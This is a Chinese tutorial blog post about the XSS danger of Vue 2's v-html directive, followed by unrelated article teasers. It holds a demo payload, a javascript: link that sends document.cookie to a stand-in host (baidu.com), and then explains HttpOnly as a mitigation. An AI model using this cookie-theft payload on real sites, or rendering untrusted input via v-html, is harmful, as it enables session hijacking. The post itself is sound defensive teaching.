Vue2中v-html引发的安全问题

news2025/1/22 16:09:31

前言:v-html指令

1.作用:向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:

  (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。

  (2).v-html可以识别html结构。

3.严重注意:v-html有安全性问题!!!!

   (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

一、代码

制作一个模拟页面,使用v-html在页面中插入“jack”,jack的href属性写为:javascript:location.href="http://www.baidu.com?"+document.cookie ,其中百度的地址为模拟地址,真实场景中应该为诈骗人员收集信息的靶机,document.cookie命令将会获得页面的全部cookie,并以参数的形式通过URL传递给靶机。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<div v-html="jack"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				jack:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我!</a>',
			}
		})
	</script>
</html>

二、页面

通过vue本地环境打开页面,为了模拟效果,在cookies中模拟数据,添加2条数据。

 

三、运行结果 

点击页面的“点我”,浏览器跳转到百度页面,观察url,发现模拟的cookie数据当做参数被传递给了百度。

四、安全设置

当浏览器cookie的HttpOnly设置为 √ 时,就表示只能通过Http请求的方式传递,Cookie才能够被读取,其他时候是不行的,所以并不是任何时候,都可以通过JavaScript去读取Cookie。若网站没有将一些重要的用户信息设置为HttpOnly,这就会导致cookie的泄漏。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1290096.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STM32串口接收数据包(自定义帧头帧尾)

1、基本概述 本实验基于stm32c8t6单片机&#xff0c;串口作为基础且重要的外设&#xff0c;具有广泛的应用。本文主要理解串口数据包的发送与接收是如何实现的&#xff0c;重要的是理解程序的实现思路。 2、关键程序 定义好需要用到的变量&#xff1a; uint8_t rxd_buf[4];//…

湖南麒麟下默认使用串口输出系统日志

有时候为了调试方便&#xff0c;需要将系统日志通过CPU的串口进行输出&#xff0c;以下是针对至强E5V4处理器上安装湖南麒麟操作系统后将日志通过串口输出的配置。 首先在bios中打开串口重定向功能&#xff0c;这里的BIOS是AMI的BIOS 内部配置如下&#xff0c;波特率115200配置…

ESP32网络开发实例-发送邮件

发送邮件 文章目录 发送邮件1、邮件发送配置2、软件准备3、硬件准备4、代码实现本文将详细介绍在ESP32中如何使用SMTP协议发送邮件。 1、邮件发送配置 在本次实例中,我们将通过QQ邮箱向指定邮件地址发送邮件。 第一步,注册QQ邮箱 第二步,开启QQ邮箱SMTP/IMAP 服务: 生成…

一文搞懂Git版本控制系统

1. Git简介 当涉及到软件开发或协作时&#xff0c;版本管理是一个不可或缺的概念。无论你是一个独立开发者还是一个团队成员&#xff0c;都会遇到需要跟踪和管理代码变更的情况。这时候&#xff0c;Git作为一个强大而流行的版本控制系统就发挥着重要的作用。 Git&#xff08;读…

使用Pytoch实现Opencv warpAffine方法

随着深度学习的不断发展&#xff0c;GPU/NPU的算力也越来越强&#xff0c;对于一些传统CV计算也希望能够直接在GPU/NPU上进行&#xff0c;例如Opencv的warpAffine方法。Opencv的warpAffine的功能主要是做仿射变换&#xff0c;如果不了解仿射变换的请自行了解。由于Pytorch的图像…

每日一题:LeetCode-75. 颜色分类

每日一题系列&#xff08;day 12&#xff09; 前言&#xff1a; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f50e…

【多线程】线程的三种常见创建方式

文章目录 线程创建方式1——Thread线程创建方式2——Runnable线程创建方式2——匿名内部类线程创建方式3——Callable、FutureTask,带返回值 线程其实是程序中的一条执行路径。 那怎样的程序才是多线程程序呢&#xff1f; 例如12306网站就是支持多线程的&#xff0c;因为同时可…

通过仿真理解信道化接收机分析过程

概要 信道化从子信道带宽划分上可分为临界抽取和非临界抽取两种&#xff0c;从各子信道中心频率布局上可分为偶型排列和奇型排列&#xff0c;从处理流程上可分为信道化分析与信道化综合过程。本文主要通过仿真来理解偶型排列/临界抽取/信道化分析过程。 基本原理 常规的数字…

基于KSZ9897VLAN 虚拟WAN网络接口

目录 1:先看看高通的8327是如何虚拟网络接口 2: Linux 内核中选上802.1Q 3: 实际效果展示 4&#xff1a;配置使用 1:先看看高通的8327是如何虚拟网络接口 rootOpenWrt:~# cat /etc/config/wirelessconfig wifi-device wifi0option type qcawifioption macaddr 68:89:75:04:…

三十九、TCC模式

目录 一、定义 1、需要实现的方法&#xff1a; 2、优点&#xff1a; 3、缺点&#xff1a; 二、原理 1、例子&#xff1a; 2、工作模型图&#xff1a; 3、空回滚和业务悬挂 三、实现TCC模式 1、编写TCC服务接口 2、实现TCC服务接口 一、定义 TCC模式是Translucent Tr…

三焦不通,百病丛生?三焦指的到底是什么?

本 期 导 读 今天来讲一讲&#xff0c;看起来比较古怪的腑——三焦。 三焦的名字虽出于《内经》&#xff0c;但对它的描述却不像其他十一脏腑那么具体&#xff0c;留下了极大的解说空间。 三焦真的不可捉摸吗&#xff1f;当然不是。本文就带你揭开三焦的那层似有还无的面纱…

SQL手工注入漏洞测试(Access数据库)-墨者

———靶场专栏——— 声明&#xff1a;文章由作者weoptions学习或练习过程中的步骤及思路&#xff0c;非正式答案&#xff0c;仅供学习和参考。 靶场背景&#xff1a; 来源&#xff1a; 墨者学院 简介&#xff1a; 安全工程师"墨者"最近在练习SQL手工注入漏洞&#…

YOLOv8改进 | TripletAttention三重注意力机制(附代码+机制原理+添加教程)

一、本文介绍 本文给大家带来的改进是Triplet Attention三重注意力机制。这个机制&#xff0c;它通过三个不同的视角来分析输入的数据&#xff0c;就好比三个人从不同的角度来观察同一幅画&#xff0c;然后共同决定哪些部分最值得注意。三重注意力机制的主要思想是在网络中引入…

社区生鲜店铺线上管理平台,提升店铺运营管理效率的秘密武器

智慧零售是一种基于现代技术的零售模式&#xff0c;通过人工智能、大数据分析和物联网等先进技术的运用&#xff0c;对商品销售、用户需求和市场趋势进行深度分析和预测&#xff0c;从而实现精细化管理和个性化服务。智慧零售不仅可以优化商品的库存管理和运营效率&#xff0c;…

java单人聊天

服务端 package 单人聊天;import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import…

【源码解析】聊聊阻塞队列之BlockingArrayQueue

阻塞队列 阻塞队列&#xff1a;顾名思义 首先它是一个队列&#xff0c;而一个阻塞队列在数据结构中所起的作用大致如下入所示。 当阻塞队列是空时&#xff0c;从队列中获取元素的操作将会被阻塞。当阻塞队列时满的时&#xff0c;往队列里添加元素的操作将会被阻塞。 试图从空的…

【沐风老师】3DMAX切片工具插件安装使用方法详解

3DMAX切片工具安装使用方法 3DMAX切片工具&#xff0c;该工具沿世界坐标轴以规则的间隔对对象进行切片处理。例如&#xff0c;对于快速均匀细分复杂网格、顶点绘制或应用“弯曲”修改器非常有用。 【适用版本】 3dMax2016 - 2023&#xff08;不仅限于此范围&#xff09; 【安装…

Spring Cloud Stream 4.0.4 rabbitmq 发送消息多function

使用 idea 创建 Springboot 项目 添加 Spring cloud stream 和 rabbitmq 依赖 pom文件 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchem…

多人聊天室

1.创建服务面板 package yiduiy;import java.awt.BorderLayout; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.ServerSocket; import java.net.Socket; import java.util.Has…

国内AI大模型已近80个,哪个最有前途?

目前&#xff0c;国内已经推出了近80个人工智能大模型&#xff0c;这些大模型各有优势&#xff0c;难以直接判断哪个最有前途。然而&#xff0c;以下几个大模型值得关注&#xff1a; 1、华为云盘古大模型&#xff1a;盘古大模型聚焦于为行业服务&#xff0c;包括自然语言、视觉…